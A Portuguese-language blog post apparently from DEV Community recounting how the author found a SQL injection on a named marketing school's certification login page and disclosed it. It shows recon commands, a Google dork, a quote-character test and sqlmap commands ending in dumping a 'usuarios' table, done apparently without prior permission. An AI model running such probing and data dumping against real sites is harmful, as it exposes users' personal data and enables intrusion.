DEV Community

Bolha Sec
Bolha Sec

Posted on

De um tweet a SQL Injection

Em uma discussão no Twitter sobre “dificuldades na programação”, recebi a indicação do amigo twitteiro @lincolixavier sobre a escola de Marketing Digital https://onovomercado.com.br/. (tweet)

tweet motivador
Por pura curiosidade, resolvi dar uma olhada na segurança do serviço. Vai que…

Obs: Normalmente, testes de segurança tem 3 fases: reconhecimento (recon), exploração (exploit), e report. Vou tentar seguir essa estrutura também aqui nesse post.

Recon

Fiz o meu reconhecimento básico com as ferramentas Amass, HTTPX e Nuclei. Que é algo como:

amass enum -d onovomercado.com -o amass.txt
cat amass.txt | httpx --silent > httpx.txt
nuclei -l httpx.txt -eid http-missing-security-headers
Enter fullscreen mode Exit fullscreen mode

Após fuçar um pouco, cheguei nesse domínio aqui https://certificacao.onovomercado.com/ que só mostrava um 403 Forbidden.

print de certificacao.onovomercado.com

Sem mt pretensão, pesquisei no Google com o dork site:certificacao.onovomercado.com e pra minha surpresa tive alguns resultados.

Google dorking result
O resultado com o título "Login - Prova de Certificação da Formação” logo chamou minha atençao 👀

Ele tem essa carinha aqui.

Login - Prova de Certificação da Formação

Exploit

Por pura inocência, chequei se os campos eram vulneráveis a SQL Injection da forma mais simples possível. Abir o Burp Suite e repeti a requisição de login adicionando aspas no final do valor 🤣

email@email.com'
Enter fullscreen mode Exit fullscreen mode

E XABLAU

response to the attack

A partir daí, foi só felicidade

Abri o SQLMap e rodei

sqlmap -r request.txt (que confirmou o SQLInjection)

sqlmap -r request.txt --dbs (pra enumerar os databases)

sqlmap -r request.txt --dbs --tables (pra enumerar as tabelas)

sqlmap -r request.txt -D <NOME TABELA> -T usuarios --dump (pra ver o conteúdo da tabela 🌚)

O que levou basicamente ao conteúdo desse tweet

https://twitter.com/sushicomabacate/status/1678770510610718721?s=20

Report

No dia seguinte 11/07, enviei um email para o suporte avisando sobre os meus achados

report 1

E pra minha surpresa, algumas horas depois fui respondido por uma pessoa da equipe ténica que se mostrou super solícita para resolver a vulnerabilidade.

report 2

Depois disso, passei mais detalhes técnicos pra pessoa que me respondeu reconhecendo a gravidade da vulnerabilidade e informando que seria feito o fix o mais rápido possível.

Hoje, 16/07, recebi um email da pessoa informando que haviam aplicado o fix e agradecendo pelo report ❤️.

Deixo aqui os parabéns ao time de engenharia do @onovomercado pela rapidez e seriedade que tiveram com o tratamento da vulnerabilidade.

Conclusão

Dessa vez a conclusão da vulnerabilidade foi bem mais agradável do que da última vez https://dev.to/bolhasec/de-um-email-de-newsletter-a-um-account-takeover-il5.
No entanto, reforço que infelizmente esse caso é uma exceção. A resposta mais comum para casos assim é apenas o silêncio e o vácuo nos emails 😆.

Espero que esse report incentive as pessoas a fazerem mais responsible disclosures de vulnerabilidades e dê um panorama de como funciona +/-. Foi uma investigação divertida pra mim e a comunicação com time de engenharia do alvo foi super legal.

Update 17/07/23: pessoal d'O Novo Mercado mandou um email oferecendo como agradecimento e gesto de boa fé um box de livros, que evidentemente aceitei❤️

Top comments (0)